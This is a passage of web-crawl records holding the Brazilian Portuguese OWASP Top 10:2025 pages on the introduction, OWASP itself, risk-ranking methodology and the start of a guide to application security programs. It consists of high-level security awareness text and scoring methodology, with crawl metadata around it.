Excepcionais](A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n---\n\n**Nota:** As traduções serão adicionadas conforme estiverem disponíveis.", "znaku_textu": 1945, "slov": 215, "odkazu": 34, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:27", "sha256": "582a7438a641523e47f506d7a3fa84eb294c5a6b868e3c7208cbbd8b14518fae", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/www-project-top-ten", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/0x00_2025-Introduction/", "titulek": "Introdução - OWASP Top 10:2025", "h1": "Os Dez Riscos de Segurança mais Críticos para Aplicações Web", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/0x00_2025-Introduction/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Os Dez Riscos de Segurança mais Críticos para Aplicações Web"}, {"uroven": 1, "text": "Introdução"}, {"uroven": 2, "text": "Apresentando OWASP Top 10:2025"}, {"uroven": 2, "text": "Mudanças da Top 10 para 2025"}, {"uroven": 2, "text": "Metodologia"}, {"uroven": 2, "text": "Como as Categorias são Estruturadas"}, {"uroven": 2, "text": "Como os dados são usados para selecionar as categorias"}, {"uroven": 2, "text": "Por que usamos uma pesquisa com a comunidade"}, {"uroven": 2, "text": "Obrigado aos nossos contribuidores de dados"}, {"uroven": 2, "text": "Autores Principais"}, {"uroven": 2, "text": "Registro de problemas e pull requests"}, {"uroven": 3, "text": "Links do projeto:"}], "markdown": "# Os Dez Riscos de Segurança mais Críticos para Aplicações Web\n\n# Introdução\n\nBem-vindo à 8ª edição da OWASP Top Ten!\n\nUm enorme agradecimento a todos que contribuíram com dados e perspectivas na pesquisa. Sem vocês, esta edição não seria possível. **MUITO OBRIGADO!**\n\n## Apresentando OWASP Top 10:2025\n\n- [A01:2025 - Controle de Acesso Quebrado](../A01_2025-Broken_Access_Control/)\n- [A02:2025 - Configuração Insegura](../A02_2025-Security_Misconfiguration/)\n- [A03:2025 - Falhas na Cadeia de Suprimentos de Software](../A03_2025-Software_Supply_Chain_Failures/)\n- [A04:2025 - Falhas Criptográficas](../A04_2025-Cryptographic_Failures/)\n- [A05:2025 - Injeção](../A05_2025-Injection/)\n- [A06:2025 - Design Inseguro](../A06_2025-Insecure_Design/)\n- [A07:2025 - Falhas de Autenticação](../A07_2025-Authentication_Failures/)\n- [A08:2025 - Falhas de Integridade de Software e Dados](../A08_2025-Software_or_Data_Integrity_Failures/)\n- [A09:2025 - Falhas de Registro e Alerta de Segurança](../A09_2025-Security_Logging_and_Alerting_Failures/)\n- [A10:2025 - Manuseio Incorreto de Condições Excepcionais](../A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n## Mudanças da Top 10 para 2025\n\nHá duas novas categorias e uma consolidação no Top Ten de 2025. Trabalhamos para manter nosso foco na raiz do problema em vez do sintoma, tanto quanto possível. Dada a complexidade da engenharia e segurança de software, é basicamente impossível criar 10 categorias sem algum nível de sobreposição.\n\n- **[A01:2025 - Controle de Acesso Quebrado](../A01_2025-Broken_Access_Control/)** mantém sua posição em #1 como o risco mais sério; os dados indicam que, em média, 3,73% das aplicações testadas apresentavam uma ou mais das 40 Common Weakness Enumerations (CWEs) desta categoria. Como indicado pela linha pontilhada, o Server-Side Request Forgery (SSRF) foi incorporado a esta categoria.\n- **[A02:2025 - Configuração Insegura](../A02_2025-Security_Misconfiguration/)** subiu da 5ª posição em 2021 para a 2ª em 2025. Configurações incorretas estão mais prevalentes; 3,00% das aplicações testadas tinham uma ou mais das 16 CWEs aqui listadas. Isso não surpreende, visto que o comportamento das aplicações depende cada vez mais de configurações.\n- **[A03:2025 - Software Supply Chain Failures](../A03_2025-Software_Supply_Chain_Failures/)** (Falhas na Cadeia de Suprimentos de Software) é uma expansão de [A06:2021-Componentes Vulneráveis e Desatualizados](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) para incluir um escopo mais amplo de comprometimentos que ocorrem dentro ou através de todo o ecossistema de dependências de software, sistemas de build e infraestrutura de distribuição. Esta categoria foi votada massivamente como uma das principais preocupações na pesquisa com a comunidade. A categoria possui 5 CWEs e uma presença limitada nos dados coletados, mas acreditamos que isso se deve a desafios nos testes e esperamos que os testes evoluam nesta área. Esta categoria possui o menor número de ocorrências nos dados, mas também as maiores pontuações médias de explorabilidade (exploit) e impacto vindas de CVEs.\n- **[A04:2025 - Falhas Criptográficas](../A04_2025-Cryptographic_Failures/)** caiu duas posições, de #2 para #4 no ranking. Os dados contribuídos indicam que, em média, 3,80% das aplicações possuem uma ou mais das 32 CWEs nesta categoria. Esta categoria frequentemente leva à exposição de dados sensíveis ou ao comprometimento do sistema.\n- **[A05:2025 - Injeção](../A05_2025-Injection/)** caiu duas posições, de #3 para #5 no ranking, mantendo sua posição relativa a Falhas Criptográficas e Design Inseguro. Injeção é uma das categorias mais testadas, com o maior número de CVEs associados às 38 CWEs nesta categoria. Injeção inclui uma gama de problemas, desde Cross-Site Scripting (alta frequência/baixo impacto) até vulnerabilidades de SQL Injection (baixa frequência/alto impacto).\n- **[A06:2025 - Design Inseguro](../A06_2025-Insecure_Design/)** caiu duas posições, de #4 para #6 no ranking, conforme Configuração Insegura e Falhas na Cadeia de Suprimentos de Software a ultrapassaram. Esta categoria foi introduzida em 2021 e observamos melhorias notáveis na indústria relacionadas à modelagem de ameaças (threat modeling) e uma maior ênfase em design seguro.\n- **[A07:2025 - Falhas de Autenticação](../A07_2025-Authentication_Failures/)** mantém sua posição em #7 com uma leve mudança no nome (anteriormente era \" [Falhas de Identificação e Autenticação](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) \") para refletir com mais precisão as 36 CWEs nesta categoria. Esta categoria continua importante, mas o aumento do uso de frameworks padronizados para autenticação parece estar gerando efeitos benéficos nas ocorrências de falhas de autenticação.\n- **[A08:2025 - Falhas de Integridade de Software e Dados](../A08_2025-Software_or_Data_Integrity_Failures/)** continua em #8 na lista. Esta categoria foca na falha em manter perímetros de confiança (trust boundaries) e verificar a integridade de artefatos de software, código e dados em um nível inferior às Falhas na Cadeia de Suprimentos de Software.\n- **[A09:2025 - Falhas de Registro e Alerta de Segurança](../A09_2025-Security_Logging_and_Alerting_Failures/)** mantém sua posição em #9. Esta categoria teve uma leve mudança no nome (anteriormente \" [Falhas de Registro e Monitoramento de Segurança](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/) \") para enfatizar a importância da funcionalidade de alerta necessária para induzir a ação apropriada diante de eventos de log relevantes. Um excelente registro de log sem alertas possui valor mínimo na identificação de incidentes de segurança. Esta categoria estará sempre sub-representada nos dados e foi novamente votada para uma posição na lista pelos participantes da pesquisa da comunidade.\n- **[A10:2025 - Manuseio Incorreto de Condições Excepcionais](../A10_2025-Mishandling_of_Exceptional_Conditions/)** é uma nova categoria para 2025. Esta categoria contém 24 CWEs focadas em tratamento de erros inadequado, erros lógicos, falha aberta (failing open) e outros cenários relacionados decorrentes de condições anormais que os sistemas podem encontrar.\n\n## Metodologia\n\nEsta edição do Top Ten permanece informada por dados, mas não é cegamente impulsionada por eles. Classificamos 12 categorias com base nos dados contribuídos e permitimos que duas fossem promovidas ou destacadas por meio das respostas da pesquisa com a comunidade. Fazemos isso por uma razão fundamental: examinar os dados contribuídos é, essencialmente, olhar para o passado. Pesquisadores de Segurança de Aplicações dedicam tempo para identificar novas vulnerabilidades e desenvolver novos métodos de teste. Leva de semanas a anos para integrar esses testes em ferramentas e processos. No momento em que podemos testar confiavelmente uma fraqueza em escala, anos podem ter se passado. Também existem riscos importantes que talvez nunca possamos testar de forma confiável para que apareçam nos dados. Para equilibrar essa visão, utilizamos uma pesquisa com a comunidade para perguntar aos profissionais de segurança e desenvolvedores que estão na linha de frente o que eles veem como riscos essenciais que podem estar sub-representados nos dados de teste.\n\n## Como as Categorias são Estruturadas\n\nAlgumas categorias mudaram em relação à edição anterior do OWASP Top Ten. Aqui está um resumo de alto nível das mudanças nas categorias.\n\nNesta iteração, solicitamos dados sem restrição de CWEs, como fizemos na edição de 2021. Perguntamos o número de aplicações testadas em um determinado ano (começando em 2021) e o número de aplicações com pelo menos uma instância de uma CWE encontrada nos testes. Este formato nos permite rastrear quão prevalente cada CWE é dentro da população de aplicações. Ignoramos a frequência para nossos propósitos; embora ela possa ser necessária em outras situações, ela apenas oculta a prevalência real na população de aplicações. Se uma aplicação possui quatro instâncias de uma CWE ou 4.000 instâncias, isso não faz parte do cálculo para o Top Ten. Especialmente porque testadores manuais tendem a listar uma vulnerabilidade apenas uma vez, não importa quantas vezes ela se repita em uma aplicação, enquanto frameworks de testes automatizados listam cada instância de uma vulnerabilidade como única. Passamos de aproximadamente 30 CWEs em 2017 para quase 400 em 2021 e para 589 CWEs nesta edição para análise no conjunto de dados. Planejamos realizar análises de dados adicionais como complemento no futuro. Este aumento significativo no número de CWEs exige mudanças na forma como as categorias são estruturadas.\n\nPassamos vários meses agrupando e categorizando CWEs e poderíamos ter continuado por meses adicionais. Tivemos que parar em algum momento. Existem CWEs do tipo causa raiz e do tipo sintoma, onde as de causa raiz são como \"Falha Criptográfica\" e \"Configuração Incorreta\", em contraste com tipos de sintoma como \"Exposição de Dados Sensíveis\" e \"Negação de Serviço\". Decidimos focar na causa raiz sempre que possível, pois é mais lógico para fornecer orientações de identificação e remediação. Focar na causa raiz em vez do sintoma não é um conceito novo; o Top Ten tem sido uma mistura de sintoma e causa raiz. As CWEs também são uma mistura de sintoma e causa raiz; estamos simplesmente sendo mais deliberados ao apontar isso. Há uma média de 25 CWEs por categoria nesta edição, com limites inferiores de 5 CWEs para A03:2025-Software Supply Chain Failures e A09:2025 Security Logging and Alerting Failures, até 40 CWEs em A01:2025-Broken Access Control. Tomamos a decisão de limitar o número de CWEs em uma categoria a 40. Esta estrutura de categorias atualizada oferece benefícios adicionais de treinamento, pois as empresas podem focar em CWEs que façam sentido para uma linguagem/framework.\n\nPerguntaram-nos por que não mudar para uma lista de 10 CWEs como um Top 10, similar ao MITRE Top 25 Most Dangerous Software Weaknesses. Existem duas razões principais pelas quais usamos múltiplas CWEs em categorias. Primeiro, nem todas as CWEs existem em todas as linguagens de programação ou frameworks. Isso causa problemas para ferramentas e programas de treinamento/conscientização, já que parte do Top Ten poderia não ser aplicável. A segunda razão é que existem múltiplas CWEs para vulnerabilidades comuns. Por exemplo, existem múltiplas CWEs para Injeção geral, Command Injection, Cross-Site Scripting, Senhas Hardcoded, Falta de Validação, Buffer Overflows, Armazenamento de Informações Sensíveis em Texto Simples e muitas outras. Dependendo da organização ou do testador, diferentes CWEs podem ser usadas. Ao usar uma categoria com múltiplas CWEs, podemos ajudar a elevar a base de referência e a conscientização sobre os diferentes tipos de fraquezas que podem ocorrer sob um nome de categoria comum. Nesta edição do Top Ten 2025, existem 248 CWEs dentro das 10 categorias. Há um total de 968 CWEs no [dicionário para download do MITRE](https://cwe.mitre.org) no momento deste lançamento.\n\n## Como os dados são usados para selecionar as categorias\n\nDe forma semelhante ao que fizemos para a edição de 2021, aproveitamos os dados de CVE para *Explorabilidade* (Exploitability) e *Impacto (Técnico)*. Baixamos o OWASP Dependency Check e extraímos as pontuações de Exploit e Impact do CVSS, agrupando-as pelas CWEs relevantes listadas com as CVEs. Isso exigiu uma boa dose de pesquisa e esforço, pois todas as CVEs possuem pontuações CVSSv2, mas há falhas no CVSSv2 que o CVSSv3 deveria corrigir. Após um certo ponto no tempo, todas as CVEs recebem também uma pontuação CVSSv3. Além disso, as faixas de pontuação e fórmulas foram atualizadas entre o CVSSv2 e o CVSSv3.\n\nNo CVSSv2, tanto a Explorabilidade quanto o Impacto (Técnico) podiam chegar a 10.0, mas a fórmula os reduzia para 60% para Explorabilidade e 40% para Impacto. No CVSSv3, o máximo teórico foi limitado a 6.0 para Explorabilidade e 4.0 para Impacto. Com o peso considerado, a pontuação de Impacto subiu quase um ponto e meio em média no CVSSv3, e a explorabilidade caiu quase meio ponto em média.\n\nExistem aproximadamente 175 mil registros (contra 125 mil em 2021) de CVEs mapeadas para CWEs no National Vulnerability Database (NVD), extraídos do OWASP Dependency Check. Além disso, há 643 CWEs únicas mapeadas para CVEs (contra 241 em 2021). Dentro das quase 220 mil CVEs extraídas, 160 mil tinham pontuações CVSS v2, 156 mil tinham pontuações CVSS v3 e 6 mil tinham pontuações CVSS v4. Muitas CVEs possuem múltiplas pontuações, por isso o total ultrapassa 220 mil.\n\nPara o Top Ten 2025, calculamos as pontuações médias de explorabilidade e impacto da seguinte maneira: agrupamos todas as CVEs com pontuações CVSS por CWE e ponderamos as pontuações de explorabilidade e impacto pela porcentagem da população que possuía CVSSv3, bem como a população restante com pontuações CVSSv2, para obter uma média geral. Mapeamos essas médias para as CWEs no conjunto de dados para usar como pontuação de Explorabilidade e Impacto (Técnico) para a outra metade da equação de risco.\n\nPor que não usar o CVSS v4.0, você pode perguntar? Isso ocorre porque o algoritmo de pontuação foi fundamentalmente alterado e não fornece mais facilmente as pontuações de *Exploit* ou *Impact* como o CVSS v2 e o CVSSv3 fazem. Tentaremos descobrir uma maneira de usar a pontuação CVSS v4.0 para versões futuras do Top Ten, mas não conseguimos determinar uma forma oportuna de fazê-lo para a edição de 2025.\n\n## Por que usamos uma pesquisa com a comunidade\n\nOs resultados nos dados são amplamente limitados ao que a indústria consegue testar de forma automatizada. Fale com um profissional experiente em AppSec e ele lhe contará sobre coisas que encontra e tendências que vê que ainda não estão nos dados. Leva tempo para as pessoas desenvolverem metodologias de teste para certos tipos de vulnerabilidade e mais tempo ainda para que esses testes sejam automatizados e executados contra uma grande população de aplicações. Tudo o que encontramos é um olhar para o passado e pode estar perdendo tendências do último ano que não estão presentes nos dados.\n\nPortanto, selecionamos apenas oito das dez categorias a partir dos dados porque eles são incompletos. As outras duas categorias vêm da pesquisa com a comunidade Top 10. Isso permite que os profissionais que estão na linha de frente votem no que veem como os riscos mais altos que podem não estar nos dados (e que talvez nunca sejam expressos em dados).\n\n## Obrigado aos nossos contribuidores de dados\n\nAs seguintes organizações (juntamente com vários doadores anônimos) gentilmente doaram dados de mais de 2,8 milhões de aplicações para tornar este o maior e mais abrangente conjunto de dados de segurança de aplicações. Sem vocês, isso não seria possível.\n\n- Accenture (Prague)\n- Anônimo (múltiplos)\n- Bugcrowd\n- Contrast Security\n- CryptoNet Labs\n- Intuitor SoftTech Services\n- Orca Security\n- Probely\n- Semgrep\n- Sonar\n- usd AG\n- Veracode\n- Wallarm\n\n## Autores Principais\n\n- Andrew van der Stock - X: [@vanderaj](https://x.com/vanderaj)\n- Brian Glas - X: [@infosecdad](https://x.com/infosecdad)\n- Neil Smithline - X: [@appsecneil](https://x.com/appsecneil)\n- Tanya Janca - X: [@shehackspurple](https://x.com/shehackspurple)\n- Torsten Gigler - Mastodon: [@[email protected]](https://infosec.exchange/@torsten_gigler)\n\n## Registro de problemas e pull requests\n\nPor favor, registre quaisquer correções ou problemas:\n\n### Links do projeto:\n\n- [Página Inicial](https://owasp.org/www-project-top-ten/)\n- [Repositório GitHub](https://github.com/OWASP/Top10)", "znaku_textu": 15463, "slov": 2228, "odkazu": 38, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:59", "sha256": "e42f9d07853686e75d5d2af191a4b115c125d64fa8943ec9d3ff46e68d2b2a59", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/", "https://x.com/vanderaj", "https://x.com/infosecdad", "https://x.com/appsecneil", "https://x.com/shehackspurple", "https://infosec.exchange/@torsten_gigler", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/0x01_2025-About_OWASP/", "titulek": "Sobre a OWASP - OWASP Top 10:2025", "h1": "Sobre a OWASP", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/0x01_2025-About_OWASP/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Sobre a OWASP"}, {"uroven": 2, "text": "Direitos Autorais e Licença"}], "markdown": "# Sobre a OWASP\n\nO Open Worldwide Application Security Project (OWASP) é uma comunidade aberta dedicada a capacitar organizações a desenvolver, adquirir e manter aplicações e APIs confiáveis.\n\nNa OWASP, você encontrará, de forma gratuita e aberta:\n\n- Ferramentas e padrões de segurança de aplicações\n- Pesquisas de ponta\n- Controles e bibliotecas de segurança padrão\n- Livros completos sobre testes de segurança de aplicações, desenvolvimento de código seguro e revisão de código seguro\n- Apresentações e [vídeos](https://www.youtube.com/user/OWASPGLOBAL)\n- [Cheat sheets](https://cheatsheetseries.owasp.org/) sobre diversos temas comuns\n- Reuniões de [Chapters](https://owasp.org/chapters/) (Capítulos) realizadas em todo o mundo e online\n- [Eventos, treinamentos e conferências](https://owasp.org/events/)\n- [Google Groups](https://groups.google.com/g/owasp)\n\nSaiba mais em: [https://owasp.org](https://owasp.org).\n\nTodas as ferramentas, documentos, vídeos, apresentações e chapters da OWASP são gratuitos e abertos a qualquer pessoa interessada em melhorar a segurança de aplicações.\n\nDefendemos a abordagem da segurança de aplicações como um problema de pessoas, processos e tecnologia, pois as abordagens mais eficazes para a segurança de aplicações exigem melhorias em todas essas áreas.\n\nA OWASP é um tipo diferente de organização. Nossa isenção de pressões comerciais nos permite fornecer informações imparciais, práticas e econômicas sobre segurança de aplicações.\n\nA OWASP não é afiliada a nenhuma empresa de tecnologia, embora apoiemos o uso consciente de tecnologia de segurança comercial. A OWASP produz diversos tipos de materiais de maneira colaborativa, transparente e aberta.\n\nA OWASP Foundation é a entidade sem fins lucrativos que garante o sucesso do projeto a longo prazo. Quase todos os associados à OWASP são voluntários, incluindo o conselho da OWASP, líderes de chapters, líderes de projetos e membros de projetos. Apoiamos pesquisas de segurança inovadoras por meio de subsídios e infraestrutura.\n\nJunte-se a nós!\n\n## Direitos Autorais e Licença\n\nCopyright © 2003-2025 The OWASP® Foundation, Inc. Este documento é liberado sob a licença Creative Commons Attribution Share-Alike 4.0. Para qualquer reutilização ou distribuição, você deve deixar claro para outros os termos de licença deste trabalho.", "znaku_textu": 2299, "slov": 310, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:00", "sha256": "73d648a5a60e5a28163c44edb9efa27b2bdab927fc731738cda568853e9c66a3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/g/owasp", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/0x02_2025-What_are_Application_Security_Risks/", "titulek": "O que são Riscos de Segurança de Aplicações? - OWASP Top 10:2025", "h1": "O que são Riscos de Segurança de Aplicações?", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/0x02_2025-What_are_Application_Security_Risks/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "O que são Riscos de Segurança de Aplicações?"}, {"uroven": 2, "text": "Como os dados são usados para selecionar e ranquear as categorias"}, {"uroven": 2, "text": "Fatores de Dados"}], "markdown": "# O que são Riscos de Segurança de Aplicações?\n\nAtacantes podem usar diversos caminhos diferentes através de sua aplicação para causar danos ao seu negócio ou organização. Cada um desses caminhos representa um risco potencial que precisa ser investigado.\n\n| **Agentes de Ameaça** | **Vetores de \\\nAtaque** | **Explorabilidade** | **Probabilidade de Ausência de Controles** **de Segurança** | **Impactos** **Técnicos** | **Impactos de** **Negócio** |\n| --- | --- | --- | --- | --- | --- |\n| **Por ambiente, dinâmico por cenário situacional** | **Por exposição da aplicação (por ambiente)** | **Média Ponderada de Exploit** | **Controles Ausentes por taxa de Incidência média ponderada pela cobertura** | **Média Ponderada de Impacto** | **Por Negócio** |\n\nEm nossa Classificação de Risco, levamos em conta os parâmetros universais de explorabilidade, a probabilidade média de ausência de controles de segurança para uma fraqueza e seus impactos técnicos.\n\nCada organização é única, assim como os agentes de ameaça para essa organização, seus objetivos e o impacto de qualquer violação. Se uma organização de interesse público utiliza um sistema de gerenciamento de conteúdo (CMS) para informações públicas e um sistema de saúde utiliza exatamente o mesmo CMS para registros de saúde sensíveis, os agentes de ameaça e os impactos de negócio podem ser muito diferentes para o mesmo software. É crítico entender o risco para sua organização com base na exposição da aplicação, nos agentes de ameaça aplicáveis por cenário situacional (para ataques direcionados e não direcionados por negócio e localização) e nos impactos de negócio individuais.\n\n## Como os dados são usados para selecionar e ranquear as categorias\n\nEm 2017, selecionamos as categorias pela taxa de incidência para determinar a probabilidade e, em seguida, as ranqueamos por meio de discussões da equipe baseadas em décadas de experiência em Explorabilidade, Detectabilidade (também uma probabilidade) e Impacto Técnico. Para 2021, utilizamos dados de Explorabilidade e Impacto (Técnico) das pontuações CVSSv2 e CVSSv3 no National Vulnerability Database (NVD). Para 2025, continuamos com a mesma metodologia criada em 2021.\n\nBaixamos o OWASP Dependency Check e extraímos as pontuações de Exploit e Impact do CVSS, agrupadas por CWEs relacionadas. Isso exigiu bastante pesquisa e esforço, pois todas as CVEs possuem pontuações CVSSv2, mas há falhas no CVSSv2 que o CVSSv3 deveria corrigir. Após um certo ponto no tempo, todas as CVEs recebem também uma pontuação CVSSv3. Além disso, as faixas de pontuação e fórmulas foram atualizadas entre o CVSSv2 e o CVSSv3.\n\nNo CVSSv2, tanto o Exploit quanto o Impacto (Técnico) podiam chegar a 10.0, mas a fórmula os reduzia para 60% para Exploit e 40% para Impacto. No CVSSv3, o máximo teórico foi limitado a 6.0 para Exploit e 4.0 para Impacto. Com a ponderação considerada, a pontuação de Impacto deslocou-se para cima — quase um ponto e meio em média no CVSSv3 — e a explorabilidade moveu-se quase meio ponto para baixo em média quando realizamos a análise para o Top Ten de 2021.\n\nExistem aproximadamente 175 mil registros (contra 125 mil em 2021) de CVEs mapeadas para CWEs no National Vulnerability Database (NVD), extraídos do OWASP Dependency Check. Além disso, há 643 CWEs únicas mapeadas para CVEs (contra 241 em 2021). Dentro das quase 220 mil CVEs extraídas, 160 mil tinham pontuações CVSS v2, 156 mil tinham pontuações CVSS v3 e 6 mil tinham pontuações CVSS v4. Muitas CVEs possuem múltiplas pontuações, por isso o total ultrapassa 220 mil.\n\nPara o Top Ten 2025, calculamos as pontuações médias de exploit e impacto da seguinte maneira: agrupamos todas as CVEs com pontuações CVSS por CWE e ponderamos as pontuações de exploit e impacto pela porcentagem da população que possuía CVSSv3, bem como a população restante com pontuações CVSSv2, para obter uma média geral. Mapeamos essas médias para as CWEs no conjunto de dados para usar como pontuação de Exploit e Impacto (Técnico) para a outra metade da equação de risco.\n\nPor que não usar o CVSS v4.0? Porque o algoritmo de pontuação foi fundamentalmente alterado e não fornece mais facilmente as pontuações de *Exploit* ou *Impact* como o CVSSv2 e o CVSSv3 fazem. Tentaremos descobrir uma maneira de usar a pontuação CVSS v4.0 para versões futuras do Top Ten, mas não conseguimos determinar uma forma oportuna de fazê-lo para a edição de 2025.\n\nPara a taxa de incidência, calculamos a porcentagem de aplicações vulneráveis a cada CWE a partir da população testada por uma organização durante um período. Como lembrete, não estamos usando a frequência (ou quantas vezes um problema aparece em uma aplicação); estamos interessados em qual porcentagem da população de aplicações apresentou cada CWE.\n\nPara a cobertura, analisamos a porcentagem de aplicações testadas por todas as organizações para uma determinada CWE. Quanto maior a cobertura calculada, maior a garantia de que a taxa de incidência é precisa, pois o tamanho da amostra é mais representativo da população.\n\nA fórmula que utilizamos para esta iteração é semelhante à de 2021, com algumas mudanças na ponderação:\n(Taxa de Incidência Máxima % _ 1000) + (Cobertura Máxima % _ 100) + (Média de Exploit _ 10) + (Média de Impacto _ 20) + (Soma de Ocorrências / 10000) = Pontuação de Risco\n\nAs pontuações calculadas variaram de 621,60 para a categoria de Controle de Acesso Quebrado a 271,08 para Erros de Gerenciamento de Memória.\n\nEste não é um sistema perfeito, mas é valioso para ranquear categorias de risco.\n\nUm desafio adicional crescente é a definição de \"aplicação\". À medida que a indústria muda para diferentes arquiteturas compostas por microsserviços e outras implementações menores que uma aplicação tradicional, os cálculos tornam-se mais difíceis. Por exemplo, se uma organização está testando repositórios de código, o que ela considera uma aplicação? Semelhante ao crescimento do CVSSv4, a próxima edição do Top Ten pode precisar ajustar a análise e a pontuação para dar conta de uma indústria em constante mudança.\n\n## Fatores de Dados\n\nExistem fatores de dados listados para cada uma das categorias do Top Ten; aqui está o que eles significam:\n\n**CWEs Mapeadas:** O número de CWEs mapeadas para uma categoria pela equipe do Top Ten.\n\n**Taxa de Incidência:** A taxa de incidência é a porcentagem de aplicações vulneráveis àquela CWE dentro da população testada por aquela organização para aquele ano.\n\n**Exploit Ponderado:** A subpontuação de Exploit dos scores CVSSv2 e CVSSv3 atribuídos a CVEs mapeadas para CWEs, normalizada e colocada em uma escala de 10 pontos.\n\n**Impacto Ponderado:** A subpontuação de Impacto dos scores CVSSv2 e CVSSv3 atribuídos a CVEs mapeadas para CWEs, normalizada e colocada em uma escala de 10 pontos.\n\n**Cobertura (de Teste):** A porcentagem de aplicações testadas por todas as organizações para uma determinada CWE.\n\n**Total de Ocorrências:** Número total de aplicações em que foram encontradas as CWEs mapeadas para uma categoria.\n\n**Total de CVEs:** Número total de CVEs no banco de dados do NVD que foram mapeadas para as CWEs de uma categoria.\n\n**Fórmula:** (Taxa de Incidência Máxima % _ 1000) + (Cobertura Máxima % _ 100) + (Média de Exploit _ 10) + (Média de Impacto _ 20) + (Soma de Ocorrências / 10000) = Pontuação de Risco", "znaku_textu": 7125, "slov": 1151, "odkazu": 30, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:01", "sha256": "d89cddfd0651304f2bd70983b5b696774c9653da3113178258cb4c3ea44d6b45", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "titulek": "Estabelecendo um Programa Moderno de Segurança de Aplicações - OWASP Top 10:2025", "h1": "Estabelecendo um Programa Moderno de Segurança de Aplicações", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Estabelecendo um Programa Moderno de Segurança de Aplicações"}, {"uroven": 3, "text": "1. Estabeleça uma Abordagem de Portfólio Baseada em Risco:"}, {"uroven": 3, "text": "2. Viabilize com uma Fundação Forte:"}, {"uroven": 3, "text": "3. Integre a Segurança aos Processos Existentes:"}, {"uroven": 3, "text": "4. Educação em Segurança de Aplicações:"}, {"uroven": 3, "text": "5. Forneça Visibilidade para a Gestão:"}, {"uroven": 2, "text": "Estabeleça e Use Processos de Segurança Repetíveis e Controles de Segurança Padrão"}, {"uroven": 3, "text": "Fase de Requisitos e Gerenciamento de Recursos:"}, {"uroven": 3, "text": "Solicitação de Propostas (RFP) e Contratação:"}, {"uroven": 3, "text": "Fase de Planejamento e Design:"}, {"uroven": 3, "text": "Ciclo de Vida de Desenvolvimento Seguro:"}, {"uroven": 3, "text": "Estabeleça Testes Contínuos de Segurança de Aplicações:"}, {"uroven": 3, "text": "Implantação (Rollout):"}, {"uroven": 3, "text": "Operações e Gerenciamento de Mudanças:"}, {"uroven": 3, "text": "Desativação de Sistemas:"}, {"uroven": 2, "text": "Usando o OWASP Top 10 como um Padrão"}], "markdown": "# Estabelecendo um Programa Moderno de Segurança de Aplicações\n\nAs listas OWASP Top Ten são documentos de conscientização, destinados a dar visibilidade aos riscos mais críticos de cada tópico que abordam. Elas não pretendem ser uma lista completa, mas apenas um ponto de partida. Em versões anteriores desta lista, prescrevemos o início de um programa de segurança de aplicações como a melhor forma de evitar esses riscos e muitos outros. Nesta seção, abordaremos como iniciar e construir um programa moderno de segurança de aplicações.\n\nSe você já possui um programa de segurança de aplicações, considere realizar uma avaliação de maturidade utilizando o [OWASP SAMM (Software Assurance Maturity Model)](https://owasp.org/www-project-samm/) ou o DSOMM (DevSecOps Maturity Model). Esses modelos de maturidade são abrangentes e exaustivos, podendo ser usados para ajudá-lo a entender onde focar melhor seus esforços para expandir e amadurecer seu programa. **Observação:** você não precisa fazer tudo o que está no OWASP SAMM ou no DSOMM para realizar um bom trabalho; eles servem para guiá-lo e oferecer diversas opções. Não foram feitos para oferecer padrões inalcançáveis ou descrever programas inacessíveis financeiramente. Eles são amplos para oferecer a você 